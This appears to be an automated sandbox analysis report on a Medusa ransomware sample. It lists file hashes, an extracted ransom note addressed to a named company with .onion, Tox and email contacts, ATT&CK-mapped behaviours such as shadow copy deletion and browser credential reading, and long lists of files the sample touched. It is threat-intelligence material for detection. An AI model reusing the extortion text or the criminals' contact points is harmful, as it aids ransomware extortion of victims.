fe7b7e66461a7d806d4d2f5e6fad20499e4bc1de500a4d8cc46c5a6442f6b473

General

Target

94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
Size

622KB
MD5

f05b57cdc3420acc359efe9e4941c428
SHA1

c06377e90b73bb25d30d385d7e75ae500c7bdc16
SHA256

94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe
SHA512

f5f666f0eeaa12f6896a00f41e07b4333e8afd9cf97f0358eed07c302a911cb56e20c7c52b8dc6c3388a0549a5bda0572141c7c7747029c97fd5f9a682563736
SSDEEP

12288:2AkaGQbDzAaAHZsznxmFoKXjHjq0eO7xWmgTWJJCy50+z63LcTpQ2vkV+3a3Jl94:2AvrggdqUjeLFsmXWfhANTSw0u6POokl

Score

10^/10

ransomware spyware stealer

Malware Config

Extracted

Path

F:\!!!READ_ME_MEDUSA!!!.txt

Ransom Note

$$\ $$\ $$$$$$$$\ $$$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\ $$$\ $$$ |$$ _____|$$ __$$\ $$ | $$ |$$ __$$\ $$ __$$\ $$$$\ $$$$ |$$ | $$ | $$ |$$ | $$ |$$ / \__|$$ / $$ | $$\$$\$$ $$ |$$$$$\ $$ | $$ |$$ | $$ |\$$$$$$\ $$$$$$$$ | $$ \$$$ $$ |$$ __| $$ | $$ |$$ | $$ | \____$$\ $$ __$$ | $$ |\$ /$$ |$$ | $$ | $$ |$$ | $$ |$$\ $$ |$$ | $$ | $$ | \_/ $$ |$$$$$$$$\ $$$$$$$ |\$$$$$$ |\$$$$$$ |$$ | $$ | \__| \__|\________|\_______/ \______/ \______/ \__| \__| -----------------------------[ Hello, Wings To Go !!! ]-------------------------- Sorry to interrupt your busy business. WHAT HAPPEND? ------------------------------------------------------------ 1. We have PENETRATE your network and COPIED data. We have penetrated your entire network and researched all about your data. And we have copied all of your confidential data and uploaded to private storage. 2. We have ENCRYPTED your files. While you are reading this message, it means your files and data has been ENCRYPTED by world's strongest ransomware. Your files have encrypted with new military-grade encryption algorithm and you can not decrypt your files. But don't worry, we can decrypt your files. There is only one possible way to get back your computers and servers, keep your privacy safe - CONTACT us via LIVE CHAT and pay for the special MEDUSA DECRYPTOR and DECRYPTION KEYs. This MEDUSA DECRYPTOR will restore your entire network within less than 1 business day. WHAT GUARANTEES? --------------------------------------------------------------- We can post all of your critial data to the public and send emails to your competitors. We have professional OSINTs and media team for leak data to telegram, facebook, twitter channels and top news websites. You can easily search about us. You can suffer significant problems due to disastrous consequences, leading to loss of valuable intellectual property and other sensitive information, costly incident response efforts, information misuse/abuse, loss of customer trust, brand and reputational damage, and legal and regulatory issues. After paying for the data breach and decryption, we guarantee that your data will never be leaked and make everything silent, this is also for our reputation. YOU should be AWARE! --------------------------------------------------------------- We will speak only with an authorized person. It can be the CEO, top management etc. In case you ar not such a person - DON'T CONTACT US! Your decisions and action can result in serious harm to your company! Inform your supervisors and stay calm! If you do not contact us within 2 days, We will start publish your case to our official blog and everybody will start notice your incident! --------------------[ Official blog tor address ]-------------------- Using TOR Browser(https://www.torproject.org/download/): http://xfv4jzckytb4g3ckwemcny3ihv4i5p4lqzdpi624cxisu35my5fwi5qd.onion/ http://wt26mlupk5sl6fmc675pbnsxnehf6dgkehb4vdp4uokbph3bb3il35id.onion/ CONTACT US! ----------------------[ Your company live chat address ]--------------------------- Using TOR Browser(https://www.torproject.org/download/): http://medusakxxtp3uo7vusntvubnytaph4d3amxivbggl3hnhpk2nmus34yd.onion/817cbe1cbf9330a3a712d04e151f6d6d Or Use Tox Chat Program(https://utox.org/uTox_win64.exe) Add user with our tox ID : 4AE245548F2A225882951FB14E9BF87EE01A0C10AE159B99D1EA62620D91A372205227254A9F Our support email: ( MedusaSupport@cock.li ) Company identification hash: dbd7a08e9e4e35ddfe197d69b5b0aa17bc7ee1c91b3ed8a104a18323f8fde51b

Emails

MedusaSupport@cock.li

URLs

http://xfv4jzckytb4g3ckwemcny3ihv4i5p4lqzdpi624cxisu35my5fwi5qd.onion/

http://wt26mlupk5sl6fmc675pbnsxnehf6dgkehb4vdp4uokbph3bb3il35id.onion/

http://medusakxxtp3uo7vusntvubnytaph4d3amxivbggl3hnhpk2nmus34yd.onion/817cbe1cbf9330a3a712d04e151f6d6d

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (8861) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Drops startup file 3 IoCs

Processes:

94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Drops desktop.ini file(s) 64 IoCs

Processes:

94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MG62UP6H\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Microsoft Games\Chess\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\History\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\JWM3U1DD\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Public\Videos\Sample Videos\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6UZVS19T\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Public\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Public\Libraries\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\A9XVYA91\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\Favorites\Links for United States\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Public\Recorded TV\Sample Media\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\2RM92H5V\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Ringtones\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HUNEJ1HU\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-1298544033-3225604241-2703760938-1000\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\Stationery\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Public\Downloads\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Microsoft Games\Hearts\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Microsoft Games\Purble Place\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Public\Pictures\Sample Pictures\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Users\Public\Recorded TV\desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\Stationery\Desktop.ini	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe

Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

vssadmin.exevssadmin.exe

description ioc process

File opened (read-only) \??\F: vssadmin.exe
File opened (read-only) \??\F: vssadmin.exe

description	ioc	process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe

Drops file in Program Files directory 64 IoCs

Processes:

94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02368_.WMF	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\EquityResume.Dotx	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\about.html	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.filetransfer_5.0.0.v20140827-1444.jar	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Hermosillo	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\sd\icecast.luac	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\MediaCenter.Gadget\images\logo.png	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\fr-FR\css\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Windows Media Player\fr-FR\setup_wm.exe.mui	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Windows Media Player\Skins\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\it-IT\gadget.xml	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Microsoft Games\FreeCell\de-DE\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\it-IT\js\settings.js	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00333_.WMF	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\en-US\css\localizedSettings.css	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.batik.util_1.7.0.v201011041433.jar	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Microsoft Games\Chess\en-US\Chess.exe.mui	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveProjectToolset\WhiteboxMask.bmp	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\ja-JP\picturePuzzle.html	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Windows Media Player\en-US\wmplayer.exe.mui	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\en-US\js\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14793_.GIF	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\fr-FR\css\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\resources.pak	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\webcompat@mozilla.org.xpi	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\SECURE.CFG	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\settings_corner_bottom_right.png	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Johannesburg	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\BOLDSTRI\BOLDSTRI.INF	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\MEDIA\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Amsterdam	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\ink\es-ES\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18215_.WMF	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Jujuy	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Magadan	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File created	C:\Program Files (x86)\Reference Assemblies\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0341559.JPG	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPCEXT.DLL	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Iqaluit	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\TRANSLAT\ENFR\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00526_.WMF	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\MSInfo\fr-FR\msinfo32.exe.mui	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.server_8.1.14.v20131031.jar	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\bg_FormsHomePage.gif	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Common Files\System\msadc\handsafe.reg	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Riyadh88	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\QUERIES\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0232395.WMF	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0292272.WMF	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File created	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\!!!READ_ME_MEDUSA!!!.txt	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\ja-JP\js\settings.js	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Indiana\Vevay	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Dubai	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0304875.WMF	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\images\corner.png	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\de-DE\wab32res.dll.mui	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0199279.WMF	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
